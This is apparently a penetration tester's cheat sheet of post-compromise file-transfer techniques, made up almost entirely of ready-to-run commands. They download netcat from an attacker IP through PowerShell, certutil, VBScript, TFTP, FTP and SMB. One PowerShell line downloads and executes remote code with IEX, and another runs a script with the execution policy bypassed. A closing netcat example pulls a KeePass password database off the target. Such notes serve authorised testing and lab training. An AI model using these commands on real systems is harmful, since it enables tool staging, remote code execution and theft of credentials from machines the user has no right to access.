# Transferring Files

There are various ways to transfer files once an initial foot has been made. 

#### HTTP

The simplest way to transfer files from one box to another is by using Python SimpleHTTPServer module as can be seen below:

```
python -m SimpleHTTPServer <port number>
```

#### Powershell

```
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.10.20/nc.exe','c:\temp\nc.exe')
```

```
powershell.exe -c (Start-BitsTransfer -Source "http://10.10.10.20/nc.exe -Destination C:\temp\nc.exe")
```

```
powershell wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
```

```
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.10.20/nc.exe')" 
```

```
echo $storageDir = $pwd > wget1.ps1
echo $webclient = New-Object System.Net.WebClient >> wget1.ps1
echo $url = "http://10.10.10.20/nc.exe" >> wget1.ps1
echo $file = "new-nc.exe" >> wget1.ps1
echo $webclient.DownloadFile($url,$file) >> wget1.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget1.ps1
```

#### Certutil <a href="#http-and-certutil" id="http-and-certutil"></a>

```
certutil.exe -urlcache -split -f "http://10.10.10.20/nc.exe" c:\temp\nc.exe
```

#### VBScript

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

#### TFTP

```
On Linux:
mkdir /tftp
atftpd --daemon --port 69 ~/tftp

On Windows:
tftp -i 10.10.10.20 GET nc.exe
```

#### FTP

Install it first and start service

```
apt-get install pure-ftpd
service pure-ftpd start
```

Set up the attacking machine

&#x20;On the target machine run:

```
echo open 10.10.10.32 21> ftp1.txt        <--- Attacking IP
echo username>> ftp1.txt                  <--- Your username
echo password>> ftp1.txt                  <--- Your password
echo binary>> ftp1.txt		
echo GET executable.exe>> ftp1.txt
echo bye>> ftp1.txt
ftp -s:ftp1.txt
```

#### SMB

```
On Kali-Linux:
python /usr/share/doc/python-impacket/examples/smbserver.py dir-name .
python3 /usr/share/doc/python3-impacket/examples/smbserver.py dir-name .

On Windows:
copy \\KALI_IP\dir-name\name_of_the_file_you_want_to_transfer .
```

**Base64 transfer binaries**

```
# On target
base64 -w0 /path/to/binary    <-- copy the content and save into a .b64 file.

# On my kali
base64 -d filename.bs64 > mybinary
chmod +x mybinary
```

#### Windows to Linux

```
### On a Windows Target ###

nc.exe -v -w 30 -p 4444 -l < some_password.kdbx
listening on [any] 4444 ...


### ON MY KALI ###

nc -v -w 2 TARGET_IP 4444 > password.kdbx
TARGET_IP [TARGET_IP ] 4444 (?) open

```
